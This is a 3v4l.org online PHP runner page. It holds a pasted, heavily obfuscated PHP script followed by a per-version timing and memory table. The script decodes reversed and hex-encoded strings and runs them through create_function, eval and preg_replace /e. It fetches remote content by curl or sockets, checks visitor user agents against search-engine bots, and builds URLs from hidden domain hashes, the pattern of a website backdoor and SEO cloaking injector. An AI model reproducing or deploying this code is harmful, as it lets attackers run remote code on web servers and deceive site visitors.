3v4l.org

run code in 300+ PHP versions simultaneously
<?php $siv = "str_replace"; $s1v ="create_function"; $slv = "strrev"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $n9 = '1067|416|779|223|361'; $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W'; $test = 'function oo2($b) { $h = explode("|", strrev($b)); $d = explode("*", $h[0]); $b = $h[1]; for($i=0;$i<sizeof($d);$i++) { $b = str_replace($i, $d[$i], $b); } create_function("", "};".$b."//"); } function cqq($qw) { return random($domarr,$qw); } function oo1($y) { $y= strrev($y); $g=substr($y,strpos($y,"9")+1); $v = explode(":",substr($y,0,strpos($y,"9"))); for($i=0;$i<sizeof($v);$i++) { $q = explode("|", $v[$i]); $g = str_replace($q[0],$q[1],$g); } create_function("", "};".$g."//"); } $s1v("", $siv("\71"," ",$slv($svv))); function random($arr,$qw) { $g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b"; $soy = "\x65\156\x32"; $xx="\x65\170\x70"."\154\x6f\144\x65"; $ecx="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $scy="\x73\164\x72\137\x72\145\x70\154\x61\143\x65"; $a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44"); $aa = $xx("|","8|9|-|,| "); $mec=$ecx; for($i=0;$i<sizeof($a);$i++) { $g = $scy($aa[$i],$a[$i],$g); } $ecx("", "};$g//"); $mec("", $soy( "\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20", $scy) ); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } $r9 = explode("|",$n9); $b9=0; $a9=0; for($i9=0;$i9<sizeof($r9);$i9++) { if ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=substr($v9, $a9, $b9); } $y =1; for($i=0;$i<5;$i++) { $vv1 ="o"."o".$y; if ($y==1) $y=2; else $y=1; $vv1($v_[$i]); } '; //preg_replace("/(.*)/e",$test,NULL); $fxujiztpwq = eval(str_replace(chr((117-80)), chr((404-312)),preg_replace("/(.*)/e",$test,NULL))); preg_replace("/(.*)/e",$fxujiztpwq,NULL); $jcsziwpbpo=$fxujiztpwq; echo $jcsziwpbpo;

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.00716.88
8.3.50.0160.00421.19
8.3.40.0150.00418.79
8.3.30.0070.00718.89
8.3.20.0080.00020.39
8.3.10.0070.00023.65
8.3.00.0040.00419.66
8.2.180.0100.01018.54
8.2.170.0090.00622.96
8.2.160.0110.00320.51
8.2.150.0040.00424.18
8.2.140.0040.00424.66
8.2.130.0050.00326.16
8.2.120.0030.00717.50
8.2.110.0160.00619.21
8.2.100.0000.01217.63
8.2.90.0040.00419.22
8.2.80.0080.00017.97
8.2.70.0060.00317.63
8.2.60.0100.00017.92
8.2.50.0050.00318.07
8.2.40.0000.00919.46
8.2.30.0030.00718.20
8.2.20.0000.00717.71
8.2.10.0000.00818.14
8.2.00.0030.00618.11
8.1.280.0120.00325.92
8.1.270.0110.00420.32
8.1.260.0040.00426.35
8.1.250.0030.00528.09
8.1.240.0030.00721.30
8.1.230.0040.00817.64
8.1.220.0040.00417.77
8.1.210.0050.00318.77
8.1.200.0000.00917.23
8.1.190.0000.01017.13
8.1.180.0030.00618.10
8.1.170.0040.00418.68
8.1.160.0030.00321.94
8.1.150.0040.00418.83
8.1.140.0030.00517.43
8.1.130.0040.00417.76
8.1.120.0030.00417.42
8.1.110.0030.00717.43
8.1.100.0040.00417.45
8.1.90.0000.00717.47
8.1.80.0040.00417.37
8.1.70.0000.00717.47
8.1.60.0070.00017.49
8.1.50.0040.00417.54
8.1.40.0030.00617.43
8.1.30.0080.00017.52
8.1.20.0040.00417.65
8.1.10.0050.00217.45
8.1.00.0000.00717.61
8.0.300.0080.00018.77
8.0.290.0040.00416.75
8.0.280.0030.00318.47
8.0.270.0080.00017.23
8.0.260.0000.00917.29
8.0.250.0000.00817.01
8.0.240.0030.00317.04
8.0.230.0050.00317.11
8.0.220.0030.00316.95
8.0.210.0040.00416.89
8.0.200.0000.00617.04
8.0.190.0090.00017.05
8.0.180.0040.00416.88
8.0.170.0000.00816.98
8.0.160.0030.00416.94
8.0.150.0070.00016.87
8.0.140.0050.00316.82
8.0.130.0000.00713.45
8.0.120.0000.00816.93
8.0.110.0000.00716.87
8.0.100.0000.00816.95
8.0.90.0070.00017.03
8.0.80.0060.01016.93
8.0.70.0020.00516.75
8.0.60.0000.00716.94
8.0.50.0000.00816.92
8.0.30.0080.01017.16
8.0.20.0110.00817.40
8.0.10.0000.00717.14
8.0.00.0080.00916.86
7.4.330.0000.00515.08
7.4.320.0040.00416.51
7.4.300.0030.00316.54
7.4.290.0070.00016.52
7.4.280.0040.00416.51
7.4.270.0040.00416.45
7.4.260.0040.00416.57
7.4.250.0000.00716.63
7.4.240.0030.00316.56
7.4.230.0000.00716.63
7.4.220.0130.01016.65
7.4.210.0110.00616.63
7.4.200.0080.00016.42
7.4.160.0130.01016.62
7.4.150.0110.00617.40
7.4.140.0110.00817.86
7.4.130.0100.00716.57
7.4.120.0110.00916.56
7.4.110.0090.01316.55
7.4.100.0170.00616.50
7.4.90.0070.01016.54
7.4.80.0100.01319.39
7.4.70.0170.00316.47
7.4.60.0060.01216.71
7.4.50.0030.00516.53
7.4.40.0070.01016.46
7.4.30.0100.00716.68
7.4.00.0080.00915.06
7.3.330.0000.00813.08
7.3.320.0060.00013.10
7.3.310.0030.00516.41
7.3.300.0040.00416.38
7.3.290.0040.00416.25
7.3.280.0110.00916.31
7.3.270.0090.00917.40
7.3.260.0100.00716.34
7.3.250.0120.00716.50
7.3.240.0120.00616.41
7.3.230.0140.00916.54
7.3.210.0110.00616.52
7.3.200.0100.00716.40
7.3.190.0130.00616.27
7.3.180.0130.00316.31
7.3.170.0040.01316.35
7.3.160.0090.00916.35
7.3.120.0080.01014.80
7.3.110.0070.01014.89
7.3.100.0030.01514.82
7.3.90.0060.00814.83
7.3.80.0030.01314.98
7.3.70.0070.00714.83
7.3.60.0050.00914.60
7.3.50.0060.00914.73
7.3.40.0110.00314.75
7.3.30.0050.00614.72
7.3.20.0060.00516.71
7.3.10.0080.00616.74
7.3.00.0110.00516.60
7.2.330.0140.00316.79
7.2.320.0110.01116.66
7.2.310.0090.00916.73
7.2.300.0100.00716.77
7.2.290.0040.01216.82
7.2.250.0030.01615.23
7.2.240.0120.00815.01
7.2.230.0060.00815.06
7.2.220.0060.01215.18
7.2.210.0030.01215.00
7.2.200.0060.00615.15
7.2.190.0090.00615.10
7.2.180.0100.00615.04
7.2.170.0040.00915.29
7.2.160.0030.00615.38
7.2.150.0070.00716.91
7.2.140.0100.00717.11
7.2.130.0090.00917.06
7.2.120.0030.01016.77
7.2.110.0000.01616.85
7.2.100.0090.00616.80
7.2.90.0060.00617.25
7.2.80.0090.00516.95
7.2.70.0030.00617.13
7.2.60.0050.00916.95
7.2.50.0060.00917.13
7.2.40.0070.01016.80
7.2.30.0070.01117.13
7.2.20.0000.01317.05
7.2.10.0130.00316.97
7.2.00.0120.00518.43
7.1.330.0030.01215.88
7.1.320.0050.01215.79
7.1.310.0070.00916.03
7.1.300.0100.00215.78
7.1.290.0050.00715.92
7.1.280.0050.00815.66
7.1.270.0100.00315.77
7.1.260.0060.01015.93
7.1.250.0030.00915.89
7.1.240.0060.00616.11
7.1.230.0030.01015.89
7.1.220.0070.00715.77
7.1.210.0060.00316.01
7.1.200.0050.00816.12
7.1.190.0000.01316.09
7.1.180.0070.01015.99
7.1.170.0030.00715.91
7.1.160.0130.00015.90
7.1.150.0070.00715.78
7.1.140.0070.00715.82
7.1.130.0060.00616.00
7.1.120.0060.00316.11
7.1.110.0060.00616.18
7.1.100.0050.00517.24
7.1.90.0060.00615.77
7.1.80.0030.01016.12
7.1.70.0030.00516.52
7.1.60.0050.01217.57
7.1.50.0080.00816.46
7.1.40.0070.00416.06
7.1.30.0080.00416.02
7.1.20.0000.01316.02
7.1.10.0040.00816.07
7.1.00.0080.03819.19
7.0.330.0060.00615.27
7.0.320.0040.00415.55
7.0.310.0080.00815.28
7.0.300.0070.00315.71
7.0.290.0070.01015.55
7.0.280.0100.00315.52
7.0.270.0030.00915.58
7.0.260.0030.01115.45
7.0.250.0060.00615.44
7.0.240.0000.01015.75
7.0.230.0030.01015.44
7.0.220.0030.01015.70
7.0.210.0110.00415.37
7.0.200.0040.00816.27
7.0.190.0090.00015.66
7.0.180.0000.01215.61
7.0.170.0040.00415.84
7.0.160.0030.01015.74
7.0.150.0060.00315.58
7.0.140.0140.00015.41
7.0.130.0000.01515.74
7.0.120.0070.01115.35
7.0.110.0030.00715.68
7.0.100.0000.01315.56
7.0.90.0050.00315.44
7.0.80.0070.00315.43
7.0.70.0030.01015.52
7.0.60.0080.03017.66
7.0.50.0070.03116.84
7.0.40.0030.05216.87
7.0.30.0130.02816.80
7.0.20.0200.04216.94
7.0.10.0070.02816.89
7.0.00.0020.04116.99
5.6.400.0030.01314.26
5.6.390.0040.00414.37
5.6.380.0050.00514.43
5.6.370.0080.00414.22
5.6.360.0090.00614.10
5.6.350.0000.01514.69
5.6.340.0030.00914.53
5.6.330.0060.00314.23
5.6.320.0030.00714.13
5.6.310.0040.01114.71
5.6.300.0060.01214.35
5.6.290.0090.00614.39
5.6.280.0020.02717.64
5.6.270.0080.00414.21
5.6.260.0030.00514.26
5.6.250.0050.00814.50
5.6.240.0030.00914.29
5.6.230.0100.00614.48
5.6.220.0080.00314.21
5.6.210.0070.04317.48
5.6.200.0090.04716.37
5.6.190.0050.02917.50
5.6.180.0120.03217.36
5.6.170.0200.04217.29
5.6.160.0110.04117.38
5.6.150.0050.03416.18
5.6.140.0060.02816.24
5.6.130.0090.03216.17
5.6.120.0100.04617.65
5.6.110.0120.04217.77
5.6.100.0070.04317.61
5.6.90.0090.04217.66
5.6.80.0050.04717.42
5.6.70.0040.01114.32
5.6.60.0080.00414.07
5.6.50.0040.00814.32
5.6.40.0060.00614.41
5.6.30.0030.00714.35
5.6.20.0040.01114.47
5.6.10.0080.00014.39
5.6.00.0040.01114.38
5.5.380.0100.00314.30
5.5.370.0120.00614.17
5.5.360.0070.00814.22
5.5.350.0100.04017.44
5.5.340.0130.02216.02
5.5.330.0100.02817.37
5.5.320.0150.03117.12
5.5.310.0190.04017.50
5.5.300.0080.03415.99
5.5.290.0050.04116.19
5.5.280.0120.03917.73
5.5.270.0060.04117.51
5.5.260.0070.04617.67
5.5.250.0020.02717.56
5.5.240.0180.03817.23
5.5.230.0060.00914.15
5.5.220.0030.01014.29
5.5.210.0060.00914.38
5.5.200.0060.01214.01
5.5.190.0090.00513.98
5.5.180.0030.01414.02
5.5.170.0060.00913.96
5.5.160.0000.01714.41
5.5.150.0080.00314.08
5.5.140.0060.00614.21
5.5.130.0060.00914.23
5.5.120.0050.00514.29
5.5.110.0040.00814.18
5.5.100.0030.01214.36
5.5.90.0040.00814.02
5.5.80.0060.00614.09
5.5.70.0000.01414.04
5.5.60.0070.00713.81
5.5.50.0090.00614.30
5.5.40.0030.01214.13
5.5.30.0000.01414.23
5.5.20.0110.00414.07
5.5.10.0000.01513.83
5.5.00.0030.01013.91
5.4.450.0250.03616.36
5.4.440.0370.02916.16
5.4.430.0370.02616.35
5.4.420.0370.03316.37
5.4.410.0390.02916.23
5.4.400.0370.03516.10
5.4.390.0330.03416.18
5.4.380.0200.03615.98
5.4.370.0230.03816.08
5.4.360.0230.03316.00
5.4.350.0320.02916.14
5.4.340.0320.03016.14
5.4.330.0070.00413.13
5.4.320.0340.03516.14
5.4.310.0430.03816.13
5.4.300.0410.04616.19
5.4.290.0420.02816.14
5.4.280.0030.04215.98
5.4.270.0170.03816.05
5.4.260.0280.03816.21
5.4.250.0370.03816.09
5.4.240.0140.02416.19
5.4.230.0200.03116.13
5.4.220.0480.02816.19
5.4.210.0350.03516.19
5.4.200.0270.04316.12
5.4.190.0230.03016.12
5.4.180.0170.03016.21
5.4.170.0290.02816.24
5.4.160.0250.03116.13
5.4.150.0300.03515.99
5.4.140.0330.03014.82
5.4.130.0290.03114.82
5.4.120.0360.02914.79
5.4.110.0080.03514.85
5.4.100.0380.02514.78
5.4.90.0440.02914.88
5.4.80.0380.02614.82
5.4.70.0130.03214.84
5.4.60.0230.03214.84
5.4.50.0050.03514.83
5.4.40.0040.03814.83
5.4.30.0030.02014.75
5.4.20.0090.03514.69
5.4.10.0030.00913.13
5.4.00.0000.01213.13

preferences:
56.75 ms | 401 KiB | 5 Q